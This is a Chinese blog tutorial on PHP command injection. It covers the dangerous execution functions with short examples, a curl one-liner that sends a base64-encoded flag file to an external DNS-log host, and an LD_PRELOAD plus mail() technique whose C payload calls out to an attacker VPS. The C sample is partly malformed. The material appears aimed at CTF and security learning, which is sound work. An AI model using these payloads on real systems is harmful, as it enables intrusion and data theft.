linux命令注入,命令注入 ~ chuddy’s Blog

66b52468c121889b900d4956032f1009.png

8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

简介

命令注入(也称为shell注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。

在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。

常见命令执行函数system()

passthru()

exec()

pcntl_exec()

shell_exec()

popen()

proc_open()

`反引号

ob_start()

mail函数+LD_PRELOAD执行系统命令

system()

函数定义:string system ( string $command [, int &$return_var ] )

command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。<?php

system("whoami");

?>

会看到运行了shell命令,并打印回显到页面上。

passthru()

函数定义:void passthru ( string $command [, int &$return_var ] )

command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。<?php

passthru("whoami");

?>

exec()

函数定义:string exec ( string $command [, array &$output [, int &$return_var ]] )

exec() 执行 command 参数所指定的命令。<?php

echo exec("whoami");

?>

该函数不能直接回显,需要手动输出。。。

可以利用ceye:data=$(cat flag.php | base64);curl http://36rdia.ceye.io/?data=$data;

pcntl_exec()

函数定义:

pcntl_exec — 在当前进程空间执行指定程序void pcntl_exec ( string $path [, array $args [, array $envs ]] )path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本

args是一个要传递给程序的参数的字符串数组。

envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。➜ html php -r "pcntl_exec( '/bin/ls' , array('./'));"

输出的结果:

1.txt 2.txt web

让我们来看看/bin下又什么文件:

fbd0e65ebd4587d43ec978e32e44dc45.png

发现我们可以通过这个函数来执行cat,echo,chmod, rm , touch等命令

例如:➜ html php -r "pcntl_exec( '/bin/echo' , array('`ls`'));"

1.txt

2.txt

web

shell_exec()

函数定义:string shell_exec ( string $cmd )

cmd是要执行的命令。➜ html php -r "echo shell_exec('whoami');"

root

➜ html

popen()

函数定义:resource popen ( string $command , string $mode )

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。➜ html php -r "popen('/bin/echo "123" >> 1.txt','w');"

➜ html cat 1.txt

123

能够执行的命令

proc_open()

函数定义:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

cmd是要执行的命令,其余见文档

`反引号

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。➜ html php -r "echo @`whoami`;"

root#

ob_start()

官方文档

57d5c60782fdbf67c7e2eed98b7c488d.png

ob_start($a)参数a是一个回调函数名,当缓存刷新时,把缓冲区的内容作为一个参数传给回调函数处理,回调函数内不能再调用ob_start().

测试:<?php

$foobar = 'system';

ob_start($foobar);

echo 'whoami';

ob_end_flush();

?>

可以成功执行whoami的命令。但是php7测试未成功

这里注意,如果我这样使用

echo ‘whoami’;

whoami

是没有任何作用的

因为这里的$foobar被作为输出的回调函数

而我们输入的whoami在缓冲区

经过ob_end_flush()输出缓冲区后,可以得到

system('whoami')

这样的操作,所以成功执行了命令

mail函数+LD_PRELOAD执行系统命令

思路:

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

a.c#include

#include

#include

int main(){

void payload() {

system("curl http://vps_IP:4123/?a=`whoami`");

}

int geteuid() {

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

}

编译gcc -c -fPIC a.c -o a

gcc -shared a -o a.so

mail.php<?php

putenv("LD_PRELOAD=/var/www/html/a.so");

mail("[email protected]","","","","");

?>

监听vps的4123端口,访问mail.php。

# web常见漏洞

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值